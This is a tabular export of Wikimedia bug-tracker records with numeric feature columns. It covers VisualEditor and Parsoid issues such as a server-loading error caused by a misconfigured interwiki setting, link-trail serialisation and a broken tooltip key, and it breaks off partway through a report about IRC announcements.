224670,"VisualEditor: Make link inspector aware of annotations, rather than just target strings",Addressed in gerrit 43028.,,,1357861248,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cek4b33i7kzn3d5tir7d,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Addressed in gerrit 43028.
45566,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Author:** `Coiby.Xu`

**Description:**
I'm testing VE and meet such error: ""Error loading data from server: Server error. Would you like to retry"". And the output of Parsoid says: ""non-200 response: 404 undefined"". According to http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2012_12#Error_loading_data_from_server:_Server_error._Would_you_like_to_retry.3F_2, the bug should have be fixed. 
P.S. I'm using latest VE and Parsoid.

--------------------------
**Version**: unspecified
**Severity**: critical
**OS**: Linux",Needs Triage,90.0,1357052100,1358280165.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-v5mejtdved3hadzpnblg,task_description,invalid,True,c1,1,False,False,True,-26,,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,20.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,4.0,9.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.38,0.56,"**Author:** CODE

**Description:**
I'm testing VE and meet such error: ""Error loading data from server: Server error. Would you like to retry"". And the output of Parsoid says: ""non-200 response: 404 undefined"". According to URL the bug should have be fixed. 
P.S. I'm using latest VE and Parsoid.

--------------------------
**Version**: unspecified
**Severity**: critical
**OS**: Linux"
208325,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Coiby.Xu** wrote:

I'm sorry, this should be a bug. It occurs due to the wrong setting in js/api/localsettings.js
env.setInterwiki( 'localhost', 'http://' );",,,1357704294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-25,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,16.0,0.0,7.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0681818181818183,0.8181818181818182,"**Coiby.Xu** wrote:

I'm sorry, this should be a bug. It occurs due to the wrong setting in js/api/localsettings.js
env.setInterwiki( 'localhost', 'URL );"
208320,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**blue.snow013** wrote:

(In reply to comment #4)
> (In reply to comment #3)
> > I have the same problems on the latest VE and Parsoid,too.
> > could someone help me?
> Could you tell us:
> * What $wgVisualEditorParsoidURL and $wgVisualEditorParsoidPrefix are set to
> in
> your LocalSettings.php
> * the contents of Parsoid's localsettings.js file
> * where Parsoid is running

Here is my LocalSettings.php

require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
 
// Allow using VisualEditor in the main namespace only (default)
$wgVisualEditorNamespaces = array( NS_MAIN );
 
// Enable by default for everybody
$wgDefaultUserOptions['visualeditor-enable'] = 1;
 
// Don't allow users to disable it
$wgHiddenPrefs[] = 'visualeditor-enable';

$wgVisualEditorParsoidURL = 'http://localhost:8000/';


And my localsettings.js:

exports.setup = function( config, env ) {
        // The URL here is supposed to be your MediaWiki installation root
        env.setInterwiki( 'localhost', 'http://localhost/wiki' );

        // Use the PHP preprocessor to expand templates via the MW API
        env.usePHPPreProcessor = false;
};

// Use selective serialization
exports.useSelser = false;
                      
I run the Parsoid in the background using node on my own server.

Thanks!",,,1357349661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.0,1.0,3.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,1.3333333333333333,4.333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.3333333333333333,12.666666666666666,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.0,1.3333333333333333,0.0,2.3333333333333335,4.333333333333333,8.0,0.0,3.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,1.3333333333333333,4.323529411764706,0.6813725490196078,"**blue.snow013** wrote:

(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Here is my LocalSettings.php

require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
 
// Allow using VisualEditor in the main namespace only (default)
$wgVisualEditorNamespaces = array( NS_MAIN );
 
// Enable by default for everybody
$wgDefaultUserOptions['visualeditor-enable'] = 1;
 
// Don't allow users to disable it
$wgHiddenPrefs[] = 'visualeditor-enable';

$wgVisualEditorParsoidURL = 'URL


And my localsettings.js:

exports.setup = function( config, env ) {
        // The URL here is supposed to be your MediaWiki installation root
        env.setInterwiki( 'localhost', 'URL );

        // Use the PHP preprocessor to expand templates via the MW API
        env.usePHPPreProcessor = false;
};

// Use selective serialization
exports.useSelser = false;
                      
I run the Parsoid in the background using node on my own server.

Thanks!"
208311,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","(In reply to comment #3)
> I have the same problems on the latest VE and Parsoid,too.
> could someone help me?
Could you tell us:
* What $wgVisualEditorParsoidURL and $wgVisualEditorParsoidPrefix are set to in your LocalSettings.php
* the contents of Parsoid's localsettings.js file
* where Parsoid is running",,,1357346134,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,11.0,13.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,4.425531914893617,0.7659574468085106,"(In reply to comment #3)
QUOTE
QUOTE
Could you tell us:
* What $wgVisualEditorParsoidURL and $wgVisualEditorParsoidPrefix are set to in your LocalSettings.php
* the contents of Parsoid's localsettings.js file
* where Parsoid is running"
208304,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**blue.snow013** wrote:

I have the same problems on the latest VE and Parsoid,too.
could someone help me?",,,1357308806,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,4.0,7.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,3.2857142857142856,0.8571428571428571,"**blue.snow013** wrote:

I have the same problems on the latest VE and Parsoid,too.
could someone help me?"
208297,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","**Coiby.Xu** wrote:

I'm running it on my own server.
Here's the address for testing: wiki.aiesec.cn/index.php?title=Test.
If you click ""VisualEditor"", the above error will occur.
> (In reply to comment #0)
> > P.S. I'm using latest VE and Parsoid.
> 
> Are you saying you're running it on your own server? Or are you using
> Wikipedia?",,,1357125626,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,False,,,-26,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,13.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.5660377358490565,0.6415094339622641,"**Coiby.Xu** wrote:

I'm running it on my own server.
Here's the address for testing: wiki.aiesec.cn/index.php?title=Test.
If you click ""VisualEditor"", the above error will occur.
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
208293,"VisualEditor: Fix ""Error loading data from server: error. Would you like to retry?""","(In reply to comment #0)
> P.S. I'm using latest VE and Parsoid.

Are you saying you're running it on your own server? Or are you using Wikipedia?",,,1357116244,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v5mejtdved3hadzpnblg,task_subcomment,,True,c1,1,True,,,-26,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,17.0,10.0,3.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.2413793103448274,0.896551724137931,"(In reply to comment #0)
QUOTE

Are you saying you're running it on your own server? Or are you using Wikipedia?"
45460,VisualEditor: Empty editnotices appear as notices,"The VisualEditor toolbar has a section for ""notices"" between the ""Leave feedback"" and ""Cancel"" buttons. This includes the ""You are using an alpha version of the VisualEditor. It may be slow and make erroneous changes - please check each edit that you make."" notice, as well as a relevant edit notice where one exists, separated by a gray line. However, when there is no edit notice, the section still says ""2 notices"" and places an empty div resulting in a gray line at the bottom.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1356608820,1356713507.0,PHID-USER-um3fhlwaza6ecwf67t77,False,,False,PHID-TASK-bbwwebnria5w3khcdb2z,task_description,resolved,True,c1,1,False,False,True,-27,,0.5,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,4.5,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,5.5,4.0,0.5,1.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,3.5,0.0,0.5,0.5,0.0,0.0,12.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.5,2.0,6.5,2.0,2.0,9.5,0.0,0.0,0.0,0.0,1.5,0.5,1.5,0.0,1.5,5.0,1.5,0.0,5.5,0.0,1.5,0.0,1.5,4.0,0.0,1.5,0.0,0.0,0.0,3.8442622950819674,0.7131147540983607,"The VisualEditor toolbar has a section for ""notices"" between the ""Leave feedback"" and ""Cancel"" buttons. This includes the ""You are using an alpha version of the VisualEditor. It may be slow and make erroneous changes - please check each edit that you make."" notice, as well as a relevant edit notice where one exists, separated by a gray line. However, when there is no edit notice, the section still says ""2 notices"" and places an empty div resulting in a gray line at the bottom.

--------------------------
**Version**: unspecified
**Severity**: normal"
202768,VisualEditor: Empty editnotices appear as notices,"This is due to English Wikipedia's self-invented system for edit notices where their [[MediaWiki:Editnotice-0]] / [[Template:Editnotice load]] displays an html structure even when there is no edit notice created (namely the link to ""create"" the edit notice, hidden/shown with usergroup css).

Although that system is rather unhandy (as it means there will always be an edit notice even when this is not intended), it is possible to work around it by parsing the edit notice client side in javascript and applying the local stylesheet and check whether there are any non-hidden nodes.

This was done and fixed in master. It will be deployed in the next branch.

*** This bug has been marked as a duplicate of bug 43013 ***",,,1356713507,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bbwwebnria5w3khcdb2z,task_subcomment,,True,c1,1,True,,,-27,,0.5,0.0,0.0,2.5,0.5,5.5,2.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,5.0,8.5,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,1.0,0.0,5.0,4.5,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.0,0.5,4.5,6.0,6.0,3.0,2.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.0,8.5,3.0,0.0,1.0,0.0,3.0,0.0,1.5,2.0,0.0,1.5,0.0,0.0,2.0,3.829113924050633,0.7531645569620253,"This is due to English Wikipedia's self-invented system for edit notices where their [[MediaWiki:Editnotice-0]] / [[Template:Editnotice load]] displays an html structure even when there is no edit notice created (namely the link to ""create"" the edit notice, hidden/shown with usergroup css).

Although that system is rather unhandy (as it means there will always be an edit notice even when this is not intended), it is possible to work around it by parsing the edit notice client side in javascript and applying the local stylesheet and check whether there are any non-hidden nodes.

This was done and fixed in master. It will be deployed in the next branch.

*** This bug has been marked as a duplicate of bug 43013 ***"
45429,Removing link trail doesn't affect the output,"In investigating bug 43089, we found that removing a link trail (i.e. [[Link]]s --> [[Link]]) is impossible in the VisualEditor. This is a Parsoid bug, can be reproduced with this command:

echo ""[[Link]]s"" | node parse.js | sed 's/Links/blah/;' | node parse.js --html2wt

This is a further result of our steadfast approach of ""if the tests aren't broken, it's working"" -- we didn't consider changes for a long time, and now that changes are possible, our hacks for roundtripping don't always work....

Suggested solution:

1. First try to find the initial link text (sans trail) in the current link text. If it's there, the new trail is whatever is left.

2. If that failed, try to find the old trail in the current text with a regex like /s$/. If you find it, emit it.

3. If both of those fail, don't emit a link trail. The trail has been modified enough that it's probably just within the text of the link now, and we won't lose meaning by just using the [[link|text]] syntax.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1356551700,1358213523.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-d3f2ddd27saapnkqzblp,task_description,resolved,True,c1,1,True,False,True,-27,,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,4.333333333333333,1.3333333333333333,0.0,0.0,1.6666666666666667,1.6666666666666667,2.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,5.0,9.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,2.0,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,13.0,1.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,6.0,3.0,6.333333333333333,3.0,0.6666666666666666,8.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,4.0,9.0,1.6666666666666667,0.0,1.6666666666666667,0.0,4.0,0.0,0.3333333333333333,2.0,0.0,1.3333333333333333,0.0,0.0,5.666666666666667,3.4705882352941178,0.6745098039215686,"In investigating bug 43089, we found that removing a link trail (i.e. [[Link]]s --> [[Link]]) is impossible in the VisualEditor. This is a Parsoid bug, can be reproduced with this command:

echo ""[[Link]]s"" | node parse.js | sed 's/Links/blah/;' | node parse.js --html2wt

This is a further result of our steadfast approach of ""if the tests aren't broken, it's working"" -- we didn't consider changes for a long time, and now that changes are possible, our hacks for roundtripping don't always work....

Suggested solution:

1. First try to find the initial link text (sans trail) in the current link text. If it's there, the new trail is whatever is left.

2. If that failed, try to find the old trail in the current text with a regex like /s$/. If you find it, emit it.

3. If both of those fail, don't emit a link trail. The trail has been modified enough that it's probably just within the text of the link now, and we won't lose meaning by just using the [[link|text]] syntax.

--------------------------
**Version**: unspecified
**Severity**: normal"
200760,Removing link trail doesn't affect the output,Finally squashed in https://gerrit.wikimedia.org/r/#/c/43985/.,,,1358213523,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Finally squashed in URL
200752,Removing link trail doesn't affect the output,Change I126116de should fix this.,,,1356634590,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Change I126116de should fix this.
200743,Removing link trail doesn't affect the output,"You can replicate this in VisualEditor in fact by removing the trailing 's' when the linked 's' came via a link-trail in the original wikitext.    

We record information about original wikitext in html-attributes.  Recording source information in attributes and using it is not a hack -- it is necessary to preserve original wikitext when it is unmodified (which is going to be more often than not).  We now need to fix our serialization to detect modifications in cases like this where we are currently not.",,,1356553785,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-d3f2ddd27saapnkqzblp,task_subcomment,,True,c1,1,True,,,-27,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,15.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,0.0,0.0,14.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,6.0,5.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,15.0,1.0,0.0,2.0,0.0,8.0,0.0,4.0,2.0,0.0,3.0,1.0,0.0,0.0,4.25,0.66,"You can replicate this in VisualEditor in fact by removing the trailing 's' when the linked 's' came via a link-trail in the original wikitext.    

We record information about original wikitext in html-attributes.  Recording source information in attributes and using it is not a hack -- it is necessary to preserve original wikitext when it is unmodified (which is going to be more often than not).  We now need to fix our serialization to detect modifications in cases like this where we are currently not."
45323,PHP Fatal error:  Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php,"**Author:** `aderumier`

**Description:**
Hello,
I'm trying VisualEditor, last git version (21 december), and I got an error 500 on POST /api.php, when I try to edit/create a page with visualeditor

php-fpm error log give me

Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php


Any idea ?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1356106320,1356106907.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tdn24gf46lji7yqfvl2,task_description,invalid,True,c1,1,False,False,True,-28,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,4.0,5.0,10.0,1.0,0.0,0.0,4.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,3.8404255319148937,0.648936170212766,"**Author:** CODE

**Description:**
Hello,
I'm trying VisualEditor, last git version (21 december), and I got an error 500 on POST /api.php, when I try to edit/create a page with visualeditor

php-fpm error log give me

Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php


Any idea ?

--------------------------
**Version**: unspecified
**Severity**: normal"
194880,PHP Fatal error:  Call to undefined method Title::getEditNotices() in extensions/VisualEditor/ApiVisualEditor.php,This method was added into MediaWiki core in Gerrit change 36240. You'll need to update to that.,,,1356106907,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-6tdn24gf46lji7yqfvl2,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,20.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9,This method was added into MediaWiki core in Gerrit change 36240. You'll need to update to that.
45258,VisualEditor: Tooltip broken on outdent button,"https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=modules/ve/ui/tools/buttons/ve.ui.OutdentButtonTool.js;h=ccb5e6cfbf8edc3b5f8326941fe50db8417dd85e;hb=HEAD#l29

Change
visualeditor-outdentationbutton-outdent-tooltip
to
visualeditor-indentationbutton-outdent-tooltip

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355898660,1355942170.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jtaql5mrtvhb43vajwv3,task_description,resolved,True,c1,1,False,False,True,-28,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.641025641025641,0.46153846153846156,"URL

Change
visualeditor-outdentationbutton-outdent-tooltip
to
visualeditor-indentationbutton-outdent-tooltip

--------------------------
**Version**: unspecified
**Severity**: normal"
190926,VisualEditor: Tooltip broken on outdent button,Thanks for the report.  This was patched in. https://gerrit.wikimedia.org/r/#/c/38810/,,,1355942170,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-jtaql5mrtvhb43vajwv3,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,Thanks for the report.  This was patched in. URL
45119,Reporter missing in IRC announcement of new issue,"The reporter is missing in the IRC announcements of new issues in #mediawiki.

Observed IRC output:

(NEW) VisualEditor: Support <hiero> extension - https://bugzilla.wikimedia.org/43118 normal; VisualEditor: General; ()
(NEW) File will not change from original version - https://bugzilla.wikimedia.org/43117 normal; MediaWiki: File management; ()
(NEW) prevent update.php from updating database schemata of wgSharedTables - https://bugzilla.wikimedia.org/43116 enhancement; MediaWiki: Installer; ()

Expected IRC output: ""()"" replaced by ""(UserName)"":

(NEW) VisualEditor: Support <hiero> extension - https://bugzilla.wikimedia.org/43118 normal; VisualEditor: General; (Raimond Spekking)
(NEW) File will not change from original version - https://bugzilla.wikimedia.org/43117 normal; MediaWiki: File management; (Adam Cuerden)
